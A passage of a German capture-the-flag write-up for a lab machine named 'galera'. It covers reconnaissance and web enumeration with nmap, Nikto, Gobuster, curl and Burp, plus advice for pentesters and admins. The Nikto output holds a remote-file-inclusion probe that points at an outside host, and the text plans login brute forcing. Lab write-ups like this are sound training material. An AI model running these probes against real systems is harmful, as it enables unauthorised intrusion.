Verwendete Tools
Inhaltsverzeichnis
Reconnaissance
192.168.2.201
Analyse: Der Befehl `arp-scan -l | grep "PCS" | awk '{print $1}'` wird verwendet, um im lokalen Netzwerk nach Geräten zu suchen, die von "PCS Systemtechnik GmbH" hergestellt wurden (oft ein Hinweis auf VirtualBox VMs) und deren IP-Adresse zu extrahieren. `arp-scan -l`: Sendet ARP-Requests an alle Geräte im lokalen Netzwerk. `| grep "PCS"`: Filtert die Ausgabe und zeigt nur Zeilen an, die "PCS" enthalten. Dies ist ein Indikator für den Hersteller der Netzwerkkarte (oft VirtualBox). `| awk '{print $1}'`: Extrahiert die erste Spalte (die IP-Adresse) aus den gefilterten Zeilen.
Bewertung: Dieser Schritt ist ein schneller und effektiver Weg, um potenzielle VirtualBox-Ziele im lokalen Netzwerk zu identifizieren, ohne einen vollständigen Netzwerkscan durchführen zu müssen. Die Ausgabe `192.168.2.201` identifiziert erfolgreich die IP-Adresse des Zielsystems.
Empfehlung (Pentester): Dies ist eine gute initiale Methode zur Zielidentifizierung in CTF-Szenarien oder internen Netzwerken, wo VirtualBox häufig verwendet wird.
Empfehlung (Admin): Aus administrativer Sicht zeigt dies, dass das System im Netzwerk sichtbar ist und auf ARP-Anfragen antwortet. Dies ist normales Verhalten. Eine Segmentierung des Netzwerks könnte die Sichtbarkeit für nicht autorisierte Scanner einschränken.
Analyse: Der Befehl `vi /etc/hosts` öffnet die lokale `hosts`-Datei im `vi`-Texteditor. Diese Datei wird verwendet, um Hostnamen manuell IP-Adressen zuzuordnen, was das DNS-System umgeht. Es wird keine direkte Ausgabe angezeigt, da `vi` ein interaktiver Editor ist.
Bewertung: Dies ist ein Standardvorgehen, um dem System einen leicht merkbaren Namen für die zuvor gefundene IP-Adresse zu geben. Dies erleichtert die weitere Interaktion mit dem Zielsystem, da man statt der IP-Adresse den Hostnamen verwenden kann.
Empfehlung (Pentester): Es ist eine bewährte Praxis, die `hosts`-Datei zu bearbeiten, um die Lesbarkeit von Befehlen und die Organisation während eines Pentests zu verbessern.
Empfehlung (Admin): Die lokale `hosts`-Datei wird clientseitig verwendet. Änderungen hier haben keine Auswirkungen auf andere Systeme im Netzwerk. Administratoren sollten sicherstellen, dass kritische Systemnamen korrekt über DNS aufgelöst werden und sich nicht ausschließlich auf lokale `hosts`-Dateien verlassen.
192.168.2.201 galera.hmv
Analyse: Der Befehl `grep galera /etc/hosts` durchsucht die `/etc/hosts`-Datei nach Zeilen, die den String "galera" enthalten. Die Ausgabe `192.168.2.201 galera.hmv` bestätigt, dass ein Eintrag hinzugefügt wurde, der den Hostnamen `galera.hmv` der IP-Adresse `192.168.2.201` zuordnet.
Bewertung: Dieser Schritt verifiziert, dass die vorherige Bearbeitung der `hosts`-Datei erfolgreich war. Nun kann das Zielsystem über den Hostnamen `galera.hmv` anstelle der IP-Adresse angesprochen werden.
Empfehlung (Pentester): Immer überprüfen, ob Änderungen an Konfigurationsdateien korrekt übernommen wurden, um Fehler in späteren Phasen zu vermeiden.
Empfehlung (Admin): Keine spezifische Aktion erforderlich, da dies eine lokale Konfiguration auf der Angreifer-Maschine ist.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-23 12:27 CEST Nmap scan report for galera.hmv (192.168.2.201) Host is up (0.00023s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0) | ssh-hostkey: | 256 28:50:32:2f:bb:ef:7e:51:c3:59:cb:e6:40:88:0e:4e (ECDSA) |_ 256 f3:fa:a1:84:c6:da:fc:09:fe:aa:ca:ec:0a:29:7d:30 (ED25519) 80/tcp open http Apache httpd 2.4.62 ((Debian)) |_http-server-header: Apache/2.4.62 (Debian) |_http-title: Login 4567/tcp open tram? | fingerprint-strings: | GenericLines: | 2n7 | NULL: | W;CQ2 | RTSPRequest: | T4[F | SSLSessionReq: |_ #6bO R 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port4567-TCP:V=7.95%I=7%D=5/23%Time=68304D93%P=x86_64-pc-linux-gnu%r(NU SF:LL,2C,"\$\0\0\x02\x80\xfd\xe8Q\0\x01\x10\0\xdaS]\xed7\xbe\x11\xf0\xa2\ SF:x95R{\xc7\x9e\xb6\x87\x87f\x15\xbe7\xc0\x11\xf0\xa0W;CQ2\xf2\x80")%r(Ge SF:tRequest,2C,"\$\0\0\x02\xcf\)\xfc\"\0\x01\x10\0\xdaS]\xed7\xbe\x11\xf0 SF:\xa2\x95R{\xc7\x9e\xb6\x87\x89\xb8=7\xc0\x11\xf0\x85\xda\x17\x15\xd3f\ SF:xb8`")%r(GenericLines,2C,"\$\0\0\x02\xb3C\xec\x04\0\x01\x10\0\xdaS]\xe SF:d7\xbe\x11\xf0\xa2\x95R{\xc7\x9e\xb6\x87\x892n7\xc0\x11\xf0\x80u\xfeG\ SF:xc2a\({")%r(HTTPOptions,2C,"\$\0\0\x02\x06\xe5\x1a\xd6\0\x01\x10\0\xdaS SF:\]\xed7\xbe\x11\xf0\xa2\x95R{\xc7\x9e\xb6\x87\x8b\x18\xd8\x1c7\xc0\x11\ SF:xf0\x8b5\xe3\x08\(\x07\x8fE")%r(RTSPRequest,2C,"\$\0\0\x02T4\[F\0\x01\x SF:10\0\xdaS]\xed7\xbe\x11\xf0\xa2\x95R{\xc7\x9e\xb6\x87\x8b\x190\xeb7\xc SF:0\x11\xf0\xb2\x94\xe2IB\x1dba")%r(RPCCheck,2C,"\$\0\0\x02f\x0f\xd4\xef\ SF:0\x01\x10\0\xdaS]\xed7\xbe\x11\xf0\xa2\x95R{\xc7\x9e\xb6\x87\x8b\x19m\ SF:x187\xc0\x11\xf0\xba\x03Z\x02Vu\xa89")%r(DNSVersionBindReqTCP,2C,"\$\0\ SF:0\x02k\x0b\n;\0\x01\x10\0\xdaS]\xed7\xbe\x11\xf0\xa2\x95R{\xc7\x9e\xb6 SF:\x87\x8b\x19\x87\xc47\xc0\x11\xf0\x8a`/\x9e\xb5\x9d\"\xb5")%r(DNSStatus SF:RequestTCP,2C,"\$\0\0\x02z\xd0\xae\x08\0\x01\x10\0\xdaS]\xed7\xbe\x11\ SF:xf0\xa2\x95R{\xc7\x9e\xb6\x87\x8b\x19\xab\x937\xc0\x11\xf0\x82qkd\xb4\x SF:8fB\x82")%r(Help,2C,"\$\0\0\x02q\xa3\xcf\xc3\0\x01\x10\0\xdaS]\xed7\xb SF:e\x11\xf0\xa2\x95R{\xc7\x9e\xb6\x87\x8c\xe5\xdc\x947\xc0\x11\xf0\xa5\"7 SF:\x20\xcdkh\?")%r(SSLSessionReq,2C,"\$\0\0\x02y\xdc\xa3\xfe\0\x01\x10\0\ SF:xdaS]\xed7\xbe\x11\xf0\xa2\x95R{\xc7\x9e\xb6\x87\x8e\xbb@u7\xc0\x11\xf SF:0\x8e#6bO\x20R\xa4")%r(TerminalServerCookie,2C,"\$\0\0\x02F\xe2@\*\0\x0 SF:1\x10\0\xdaS]\xed7\xbe\x11\xf0\xa2\x95R{\xc7\x9e\xb6\x87\x90\xa4\xb2\x SF:b87\xc0\x11\xf0\x91\xe9\xf6,\x01\xe3\x07/")%r(TLSSessionReq,2C,"\$\0\0\ SF:x02\(\xb2G\xe6\0\x01\x10\0\xdaS]\xed7\xbe\x11\xf0\xa2\x95R{\xc7\x9e\xb SF:6\x87\x90\xa4\xdaA7\xc0\x11\xf0\x83B\xee\x1fZI\xd41")%r(Kerberos,2C,"\$ SF:\0\0\x02\xd6\xe0\x08\x8b\0\x01\x10\0\xdaS]\xed7\xbe\x11\xf0\xa2\x95R{\ SF:xc7\x9e\xb6\x87\x92t\x0c\xb77\xc0\x11\xf0\x8d\xa2\xbf3\x82\x95\x02\x8e" SF:)%r(SMBProgNeg,2C,"\$\0\0\x02\x03{\xd2\x0b\0\x01\x10\0\xdaS]\xed7\xbe\ SF:x11\xf0\xa2\x95R{\xc7\x9e\xb6\x87\x92t\xe27\xc0\x11\xf0\xa3\xf1\x9fT&\ SF:.\x8ei"); MAC Address: 08:00:27:CB:59:41 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Device type: general purpose|router Running: Linux 5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.23 ms galera.hmv (192.168.2.201) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 44.82 seconds
Analyse: Der Befehl `nmap -sS -sC -sV -p- -T5 -AO 192.168.2.201` führt einen umfassenden Netzwerkscan auf dem Ziel `192.168.2.201` durch. `-sS`: Führt einen TCP SYN Scan (Stealth Scan) durch, der oft weniger auffällig ist. `-sC`: Führt Standard-Nmap-Skripte aus, um zusätzliche Informationen über die Dienste zu sammeln. `-sV`: Versucht, die Versionen der laufenden Dienste zu ermitteln. `-p-`: Scannt alle 65535 TCP-Ports. `-T5`: Verwendet das "insane" Timing-Template für einen sehr schnellen Scan (kann unzuverlässig sein oder IDS/IPS auslösen). `-AO`: Versucht, das Betriebssystem zu identifizieren (synonym zu `-O`, aber ältere Syntax). Die Ausgabe zeigt drei offene Ports: Port 22 (TCP): Läuft OpenSSH 9.2p1 auf Debian. Dies ist der Standardport für Secure Shell, der für Fernwartung verwendet wird. Port 80 (TCP): Läuft ein Apache httpd 2.4.62 Webserver auf Debian. Der Titel der Webseite ist "Login". Port 4567 (TCP): Ein unbekannter Dienst (`tram?`). Nmap konnte den Dienst nicht eindeutig identifizieren, hat aber Daten empfangen. Die Fingerprint-Strings deuten auf einen proprietären oder ungewöhnlichen Dienst hin. Galera Cluster verwendet oft Port 4567 für die Cluster-Kommunikation. Die MAC-Adresse bestätigt, dass es sich um eine VirtualBox VM handelt. Die Betriebssystemerkennung deutet auf Linux (Kernel 5.x) oder MikroTik RouterOS hin.
Bewertung: Der Nmap-Scan liefert entscheidende Informationen. Wir haben SSH-Zugang, eine Webanwendung (Login-Seite) und einen interessanten, unbekannten Dienst auf Port 4567, der aufgrund des Namens "Galera" und des Ports wahrscheinlich mit Galera Cluster in Verbindung steht. Die Apache-Version ist relativ aktuell. Die OS-Erkennung ist etwas uneindeutig, aber Linux ist wahrscheinlich. Der -T5 Scan war hier erfolgreich und schnell.
Empfehlung (Pentester): Die nächsten Schritte sollten sich auf die Webanwendung auf Port 80 und die weitere Untersuchung von Port 4567 konzentrieren. Für Port 22 könnte später ein Brute-Force-Angriff oder die Suche nach Standard-Credentials in Betracht gezogen werden.
Empfehlung (Admin): Stellen Sie sicher, dass alle exponierten Dienste notwendig sind. Wenn Port 4567 für Galera Cluster intern verwendet wird, sollte der Zugriff darauf aus dem externen Netzwerk beschränkt werden (Firewall-Regeln). Aktualisieren Sie regelmäßig alle Dienste, einschließlich SSH und Apache, um bekannte Schwachstellen zu mitigieren. Überprüfen Sie die Notwendigkeit des "insane" Timing-Templates bei Scans, da dies legitimen Traffic stören könnte.
Web Enumeration
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.201 + Target Hostname: galera.hmv + Target Port: 80 + Start Time: 2025-05-23 12:29:56 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.62 (Debian) + /pZ6RFdqM.it: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] + /: Web Server returns a valid response with junk HTTP methods which may cause false positives. + /: DEBUG HTTP verb may show server debugging information. See: [Link: https://docs.microsoft.com/en-us/visualstudio/debugger/how-to-enable-debugging-for-aspnet-applications?view=vs-2017 | Ziel: https://docs.microsoft.com/en-us/visualstudio/debugger/how-to-enable-debugging-for-aspnet-applications?view=vs-2017] + /config.php: PHP Config file may contain database IDs and passwords. + /info.php: Output from the phpinfo() function was found. + /info.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information. See: CWE-552 + /info.php?file=http://blog.cirt.net/rfiinc.txt: Remote File Inclusion (RFI) from RSnake's RFI list. See: [Link: https://gist.github.com/mubix/5d269c686584875015a2 | Ziel: https://gist.github.com/mubix/5d269c686584875015a2] + 26500 requests: 0 error(s) and 7 item(s) reported on remote host + End Time: 2025-05-23 12:30:30 (GMT2) (34 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Der Befehl `nikto -h http://galera.hmv -C all` führt einen Webserver-Schwachstellenscan gegen `http://galera.hmv` durch. Die Option `-C all` aktiviert alle verfügbaren CGI-Verzeichnisscans. Nikto identifiziert mehrere interessante Punkte: Das Fehlen des `X-Content-Type-Options` Headers bei `/pZ6RFdqM.it` (eine zufällig generierte Testdatei von Nikto). Der Server antwortet auf "junk" HTTP-Methoden, was auf eine lockere Konfiguration hindeuten könnte. Die `DEBUG` HTTP-Methode könnte aktiviert sein, was sensible Informationen preisgeben könnte. Eine `config.php` Datei wurde gefunden. Diese enthalten oft Konfigurationsdetails wie Datenbankzugangsdaten. Eine `info.php` Datei wurde gefunden, die die Ausgabe von `phpinfo()` enthält. Dies ist eine erhebliche Informationspreisgabe, da sie detaillierte Server- und PHP-Konfigurationsdaten offenlegt. Nikto meldet einen potenziellen RFI-Vektor (Remote File Inclusion) in `info.php` basierend auf einem generischen Test von RSnake's Liste. Dies muss manuell verifiziert werden.
Bewertung: Die Funde von `config.php` und `info.php` sind von hohem Wert. `info.php` liefert sofort viele Details über das System, während `config.php` ein primäres Ziel für den Zugriff auf sensible Daten darstellt. Der gemeldete RFI-Versuch ist wahrscheinlich ein False Positive, da `phpinfo()`-Seiten typischerweise keine Parameter für Dateieinbindungen haben, aber es ist dennoch gut, dies im Hinterkopf zu behalten. Das Fehlen des `X-Content-Type-Options` Headers ist eine kleinere Schwachstelle, die zu MIME-Sniffing-Angriffen führen könnte.
Empfehlung (Pentester): Die Dateien `config.php` und `info.php` sollten sofort manuell im Browser aufgerufen und analysiert werden. Untersuchen, ob die `DEBUG` HTTP-Methode tatsächlich aktiv ist und Informationen liefert.
Empfehlung (Admin): Entfernen oder beschränken Sie den Zugriff auf `info.php` und `config.php` im Produktivbetrieb. `phpinfo()` sollte niemals öffentlich zugänglich sein. Implementieren Sie den `X-Content-Type-Options: nosniff` HTTP-Header global. Untersuchen und deaktivieren Sie unnötige HTTP-Methoden wie `DEBUG`.
=============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://galera.hmv [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 403,503,404 [+] User Agent: gobuster/3.6 [+] Extensions: zip,dll,raw,xlsx,conf,ELF,gz,rtf,deb,mod,csh,config,pub,py,pem,json,cgi,aspx,jpg,lib,pHtml,c,sql,jpeg,desc,eps,icon,txt,pl,kdbx,svg,rar,ps1,exe,diff,xls,bat,ln,tar,bak,crt,phtml,docx,asp,png,exp,php,html,csv,elf,db,sh,mdb,rpm,xml,accdb,js.map,doc,pdf,java,old [+] Expanded: true [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== http://galera.hmv/index.php (Status: 200) [Size: 825] http://galera.hmv/login.php (Status: 302) [Size: 0] [--> /] http://galera.hmv/info.php (Status: 200) [Size: 77296] http://galera.hmv/upload (Status: 301) [Size: 309] [--> http://galera.hmv/upload/] http://galera.hmv/logout.php (Status: 302) [Size: 0] [--> index.php] http://galera.hmv/config.php (Status: 200) [Size: 0]
Analyse: Der Befehl `gobuster dir -u "http://galera.hmv" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x ... -b '503,404,403' -e --no-error -k` führt ein Directory/File-Brute-Forcing gegen die Webseite durch. `-u "http://galera.hmv"`: Die Ziel-URL. `-w "..."`: Die Wortliste für das Brute-Forcing. `-x ...`: Eine lange Liste von Dateierweiterungen, die beim Testen angehängt werden. `-b '503,404,403'`: Statuscodes, die als "nicht gefunden" behandelt und ausgeblendet werden sollen. `-e`: Erweiterter Modus, zeigt die volle URL an. `--no-error`: Versteckt Fehler beim Scannen. `-k`: Ignoriert SSL-Zertifikatsfehler (hier nicht relevant, da HTTP). Gobuster findet mehrere interessante Pfade: `index.php` (Status 200): Die Hauptseite. `login.php` (Status 302): Eine Login-Seite, die auf `/` weiterleitet. `info.php` (Status 200): Bestätigt den Fund von Nikto, eine `phpinfo()`-Seite. `upload` (Status 301): Ein Verzeichnis, das auf `http://galera.hmv/upload/` weiterleitet. Dies könnte eine Upload-Funktionalität beherbergen. `logout.php` (Status 302): Eine Logout-Funktion. `config.php` (Status 200): Bestätigt ebenfalls den Fund von Nikto. Interessanterweise hat die Datei eine Größe von 0, was darauf hindeuten könnte, dass sie entweder leer ist oder der Zugriff anders gehandhabt wird.
Bewertung: Gobuster bestätigt die von Nikto gefundenen kritischen Dateien (`info.php`, `config.php`) und entdeckt zusätzlich ein `/upload`-Verzeichnis, das ein potenzieller Angriffsvektor sein könnte, wenn dort Dateien hochgeladen und ausgeführt werden können. Die `config.php` mit Größe 0 ist merkwürdig und bedarf weiterer Untersuchung.
Empfehlung (Pentester): Untersuchen Sie das `/upload`-Verzeichnis manuell im Browser. Prüfen Sie, ob Dateien hochgeladen werden können und welche Dateitypen erlaubt sind. Analysieren Sie `index.php`, `login.php` und `config.php` (auch wenn Größe 0, es könnte serverseitige Logik geben, die darauf reagiert oder die Größe wird falsch interpretiert).
Empfehlung (Admin): Wenn das `/upload`-Verzeichnis nicht benötigt wird, entfernen Sie es oder beschränken Sie den Zugriff. Wenn es benötigt wird, implementieren Sie strenge Kontrollen für Dateitypen, Größenbeschränkungen und stellen Sie sicher, dass hochgeladene Dateien nicht direkt im Webroot ausgeführt werden können. Leere, aber zugängliche Konfigurationsdateien sollten vermieden werden, um Verwirrung oder potenzielle Fehlkonfigurationen zu vermeiden.
* Trying 192.168.2.201:80... * Connected to 192.168.2.201 (192.168.2.201) port 80 * using HTTP/1.x > OPTIONS / HTTP/1.1 > Host: 192.168.2.201 > User-Agent: curl/8.13.0 > Accept: */* > * Request completely sent off < HTTP/1.1 200 OK HTTP/1.1 200 OK < Date: Fri, 23 May 2025 10:33:11 GMT Date: Fri, 23 May 2025 10:33:11 GMT < Server: Apache/2.4.62 (Debian) Server: Apache/2.4.62 (Debian) < Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self'; object-src 'none'; frame-ancestors 'none'; base-uri 'self'; Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self'; object-src 'none'; frame-ancestors 'none'; base-uri 'self'; < Strict-Transport-Security: max-age=31536000; includeSubDomains Strict-Transport-Security: max-age=31536000; includeSubDomains < X-Content-Type-Options: nosniff X-Content-Type-Options: nosniff < X-Frame-Options: DENY X-Frame-Options: DENY < Referrer-Policy: no-referrer Referrer-Policy: no-referrer < Permissions-Policy: geolocation=(), microphone=() Permissions-Policy: geolocation=(), microphone=() < Set-Cookie: PHPSESSID=1r2neci0vh5k23l47a7hlb75ac; path=/; HttpOnly; SameSite=Strict Set-Cookie: PHPSESSID=1r2neci0vh5k23l47a7hlb75ac; path=/; HttpOnly; SameSite=Strict < Expires: Thu, 19 Nov 1981 08:52:00 GMT Expires: Thu, 19 Nov 1981 08:52:00 GMT < Cache-Control: no-store, no-cache, must-revalidate Cache-Control: no-store, no-cache, must-revalidate < Pragma: no-cache Pragma: no-cache < Vary: Accept-Encoding Vary: Accept-Encoding < Content-Length: 825 Content-Length: 825 < Content-Type: text/html; charset=UTF-8 Content-Type: text/html; charset=UTF-8 < * shutting down connection #0
Analyse: Der Befehl `curl -Iv -X OPTIONS http://192.168.2.201` sendet eine HTTP OPTIONS Anfrage an den Webserver. `-I`: Zeigt nur die Header der Antwort an. `-v`: Aktiviert den Verbose-Modus, der detaillierte Informationen über die Verbindung anzeigt. `-X OPTIONS`: Spezifiziert die HTTP-Methode als OPTIONS. Eine OPTIONS-Anfrage wird verwendet, um die vom Server unterstützten HTTP-Methoden für eine bestimmte Ressource abzufragen. Die Antwort-Header zeigen: Server-Version: `Apache/2.4.62 (Debian)`. Mehrere Sicherheitsheader sind gesetzt: `Content-Security-Policy`, `Strict-Transport-Security`, `X-Content-Type-Options: nosniff`, `X-Frame-Options: DENY`, `Referrer-Policy: no-referrer`, `Permissions-Policy`. Dies deutet auf ein gewisses Maß an Sicherheitsbewusstsein hin. Ein `PHPSESSID`-Cookie wird gesetzt, was auf eine PHP-Anwendung hindeutet. Die Attribute `HttpOnly` und `SameSite=Strict` sind gute Sicherheitspraktiken für Cookies. Caching ist deaktiviert (`Cache-Control: no-store, no-cache, must-revalidate`, `Pragma: no-cache`). Der `Content-Type` ist `text/html; charset=UTF-8`. Wichtig: Der eigentliche `Allow`-Header, der die erlaubten HTTP-Methoden auflisten würde, fehlt in dieser Antwort. Dies ist unüblich für eine korrekte OPTIONS-Antwort, kann aber vorkommen.
Bewertung: Obwohl die OPTIONS-Anfrage keine explizite Liste der erlaubten Methoden liefert, bestätigt sie die Existenz und Konfiguration des Webservers und der PHP-Anwendung. Die gesetzten Sicherheitsheader sind positiv, könnten aber je nach Konfiguration Angriffsflächen für bestimmte Bypass-Techniken bieten (z.B. CSP-Bypässe). Die Abwesenheit des `Allow`-Headers ist ein Hinweis, dass der Server möglicherweise nicht standardkonform auf OPTIONS-Anfragen reagiert oder diese Methode speziell behandelt.
Empfehlung (Pentester): Notieren Sie die konfigurierten Sicherheitsheader. Testen Sie auch andere HTTP-Methoden (z.B. PUT, DELETE, TRACE, DEBUG, falls von Nikto angedeutet) manuell, um zu sehen, wie der Server darauf reagiert, da die OPTIONS-Antwort hier unvollständig ist.
Empfehlung (Admin): Stellen Sie sicher, dass der Server korrekt auf OPTIONS-Anfragen antwortet und den `Allow`-Header mit den tatsächlich erlaubten Methoden sendet. Überprüfen und verschärfen Sie die Content Security Policy (CSP) weiter, falls möglich.
Analyse: Das Bild zeigt einen HTTP POST Request, der mit Burp Suite abgefangen oder erstellt wurde. Der Request zielt auf `/login.php` auf dem Host `galera.hmv`. Die wichtigsten Teile des Requests sind: `Host: galera.hmv` `User-Agent`: Ein Standard Firefox User-Agent. `Cookie: PHPSESSID=abaeo8n1rk8tj5imh5kh2ius17`: Eine PHP-Session-ID. `Content-Type: application/x-www-form-urlencoded`: Standard für Formular-Daten. `Content-Length: 92`: Die Größe der POST-Daten. Die POST-Daten selbst sind: `token=eb80b991781be702c1f23b3dd6e1f750ad9a582000c77efde998b0c48d6dfe10&user=ssss&pass=aaaaaa`. Dies zeigt ein Login-Formular mit drei Parametern: `token`: Ein langer hexadezimaler String, der wahrscheinlich ein CSRF-Token (Cross-Site Request Forgery Token) ist. `user`: Der Benutzername, hier "ssss". `pass`: Das Passwort, hier "aaaaaa".
Bewertung: Die Anwesenheit eines CSRF-Tokens ist eine gute Sicherheitsmaßnahme, erschwert aber automatisierte Brute-Force-Angriffe auf das Login, da für jeden Versuch ein gültiger Token benötigt wird. Die Credentials "ssss" und "aaaaaa" sind wahrscheinlich Testdaten. Die Struktur des Login-Requests ist nun klar.
Empfehlung (Pentester): Um einen Brute-Force-Angriff durchzuführen, muss der Mechanismus zur Generierung und Validierung des CSRF-Tokens verstanden werden. Typischerweise wird der Token auf der Login-Seite (GET-Request) generiert und muss dann mit dem POST-Request mitgesendet werden. Untersuchen Sie, woher der Token stammt (z.B. verstecktes Feld im HTML der Login-Seite).
Empfehlung (Admin): Die Verwendung von CSRF-Tokens ist korrekt. Stellen Sie sicher, dass die Tokens pro Sitzung oder pro Anfrage generiert werden und eine kurze Gültigkeitsdauer haben, um ihre Effektivität zu maximieren.
Response: HTTP/1.1 302 Found Date: Fri, 23 May 2025 10:38:49 GMT Server: Apache/2.4.62 (Debian) Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self'; object-src 'none'; frame-ancestors 'none'; base-uri 'self'; Strict-Transport-Security: max-age=31536000; includeSubDomains X-Content-Type-Options: nosniff X-Frame-Options: DENY Referrer-Policy: no-referrer Permissions-Policy: geolocation=(), microphone=() Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Location: / Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Analyse: Dies ist die HTTP-Antwort auf den vorherigen POST-Request an `/login.php`. Der Statuscode ist `302 Found`, was eine temporäre Weiterleitung anzeigt. Der `Location: /` Header gibt an, dass der Browser zur Hauptseite (`/`) weitergeleitet werden soll. Die Sicherheitsheader (`Content-Security-Policy`, `Strict-Transport-Security`, etc.) sind auch hier vorhanden. Ein `Content-Length: 0` bedeutet, dass der Body der Antwort leer ist, was bei einer 302-Weiterleitung üblich ist.
Bewertung: Ein 302-Redirect nach einem Login-Versuch ist typisch. Es ist unklar, ob der Login-Versuch erfolgreich war oder nicht, allein basierend auf dieser Antwort. Oft leiten fehlgeschlagene Logins zurück zur Login-Seite (manchmal mit einer Fehlermeldung), während erfolgreiche Logins zu einem Dashboard oder einer internen Seite führen. Da hier auf `/` (die Startseite, die wir als Login-Seite identifiziert haben) weitergeleitet wird, ist es wahrscheinlich, dass der Login mit "ssss"/"aaaaaa" fehlgeschlagen ist. Es fehlt eine explizite Fehlermeldung im Body, was Brute-Force-Angriffe durch Analyse des Antwort-Bodys erschwert.
Empfehlung (Pentester): Vergleichen Sie die Antwort bei einem bekannten falschen Login mit einem potenziell korrekten Login. Achten Sie auf Unterschiede in Statuscodes, Headern (insbesondere `Set-Cookie` für neue Session-Cookies) oder dem Inhalt der Seite, zu der weitergeleitet wird.
Empfehlung (Admin): Stellen Sie sicher, dass fehlgeschlagene Login-Versuche protokolliert werden. Implementieren Sie Account-Lockout-Mechanismen und Rate-Limiting, um Brute-Force-Angriffe zu erschweren. Geben Sie vage Fehlermeldungen aus, um das Erraten von Benutzernamen oder Passwörtern nicht zu erleichtern.
http://192.168.2.201/info.php
FFI
FFI support enabled
Directive Local Value Master Value
ffi.enable preload preload
Analyse: Dieser Ausschnitt und das dazugehörige Bild zeigen einen Teil der Ausgabe der `info.php`-Seite (phpinfo()). Speziell wird der Abschnitt für FFI (Foreign Function Interface) hervorgehoben. `FFI support` ist `enabled`. Die Direktive `ffi.enable` ist sowohl lokal als auch im Master-Wert auf `preload` gesetzt. FFI erlaubt es PHP-Code, Funktionen aus nativen, kompilierten Bibliotheken (z.B. C-Bibliotheken, `.dll` oder `.so` Dateien) aufzurufen. Der `preload`-Modus bedeutet, dass FFI-Definitionen bereits beim Start von PHP geladen werden können, typischerweise über die `php.ini`-Datei. Dies kann die Sicherheit beeinträchtigen, wenn es einem Angreifer gelingt, zu steuern, welche Bibliotheken vorgeladen werden oder wenn vorgeladene Bibliotheken Schwachstellen enthalten.
Bewertung: Die Aktivierung von FFI mit `preload` ist ein sehr interessanter Fund. Wenn ein Angreifer eine Möglichkeit findet, PHP-Code auszuführen (z.B. durch eine Dateiupload-Schwachstelle oder eine andere RCE-Lücke) und FFI-Funktionen zu manipulieren oder eigene native Bibliotheken zu laden, könnte dies zu einer vollständigen Kompromittierung des Servers führen. Die `phpinfo()`-Seite selbst ist bereits eine Informationspreisgabe.
Empfehlung (Pentester): Dies ist ein wichtiger Hinweis für spätere Phasen. Wenn eine Möglichkeit zur Codeausführung gefunden wird, könnte FFI für Privilege Escalation oder komplexere Angriffe genutzt werden. Untersuchen Sie, ob die PHP-Konfiguration das Laden beliebiger Bibliotheken über FFI erlaubt.
Empfehlung (Admin): Deaktivieren Sie FFI, wenn es nicht unbedingt für die Anwendung benötigt wird (`ffi.enable = Off` in `php.ini`). Wenn FFI benötigt wird, beschränken Sie die `ffi.preload`-Direktive sorgfältig auf nur absolut notwendige und vertrauenswürdige Bibliotheken. Entfernen Sie die `phpinfo.php`-Datei aus öffentlich zugänglichen Bereichen.
ist eine blanke seite http://galera.hmv/upload/
Analyse: Der Pentester hat die URL `http://galera.hmv/upload/` aufgerufen, die zuvor von Gobuster als Verzeichnis identifiziert wurde (Status 301 Weiterleitung auf `http://galera.hmv/upload/`). Die Beobachtung ist, dass die Seite "blank" ist, also keinen sichtbaren Inhalt oder Formulare anzeigt.
Bewertung: Eine blanke Seite für ein `/upload/`-Verzeichnis ist verdächtig. Es könnte bedeuten, dass die Upload-Funktionalität nicht über ein sichtbares HTML-Formular realisiert ist, sondern vielleicht einen direkten POST-Request erwartet oder dass der Zugriff anderweitig eingeschränkt ist. Es könnte auch einfach ein leeres Verzeichnis sein, das vom Webserver angezeigt wird (wenn Directory Listing deaktiviert ist).
Empfehlung (Pentester): Versuchen Sie, direkt Dateien per POST-Request an diese URL oder an Skripte in diesem Verzeichnis (falls welche bekannt werden) zu senden. Überprüfen Sie die HTTP-Antwortheader genau. Testen Sie verschiedene Methoden und Content-Types. Suchen Sie nach Hinweisen im Quellcode anderer Seiten, wie Uploads gehandhabt werden könnten.
